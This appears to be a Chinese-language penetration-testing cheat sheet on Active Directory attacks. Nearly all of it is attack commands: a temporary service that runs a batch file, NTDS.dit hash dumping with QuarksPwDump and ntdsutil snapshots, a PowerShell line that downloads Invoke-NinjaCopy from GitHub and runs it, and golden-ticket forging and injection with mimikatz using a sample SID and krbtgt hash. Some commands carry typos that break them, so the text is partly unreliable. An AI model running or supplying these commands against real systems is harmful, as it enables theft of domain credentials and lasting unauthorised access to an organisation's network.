新建服务执行

sc create backupntds binPath= "cmd /c start c:\windows\temp\ntds.bat"
sc start backupntds
sc detele backupntds

导出HASH

QuarksPwDump.exe -dhd -nt ntds.dit -sf system.hiv -o hash.txt

ntdsutil导出

ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" quit quit
ntdsutil snapshot "delete {GUID}" quit quit

powershell 导出ntds.dit

powershell IEX (New-ObjectNet.WebClient).DownloadString( 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"

powershell导出后需要修复一下

esentutl /p /o ntds.dit

1. 交互式

导出ntds.dit

windows2008之后可以使用ntdsutil

权限维持

1. golden ticket golden ticket 四要素

user 用户名
domain 域完整名称
sid   获取方式:whoami /all  powerview 里面的  Convert-NameToSid ESRINEA\administrator   psgetsid  -accepteula ESRINEA\administrator (PStoos存在)   mimikatz SID::lookup name
krbgt ntml hash   mimikatz “@lsadump::dcsync /domain:域完整名称 /user:krbtgt"

保存golden ticket

mimikatz kerberos::golden /user:administrator /domain:ESRINEA.LOCAL /sid:S-1-5-21-2609584263-878513794-3710365111-500 /krbtgt:EDC094659D9C18F4E320C70838404D43 /ticket:ESRINEA.LOCAL.kirbi

使用golden ticket

mimikatz keberos::ptt ESRINEA.LOCAL.kirbi

1 2 3 4 5

------本页内容已结束，喜欢请分享------

感谢您的来访，获取更多精彩文章请收藏本站。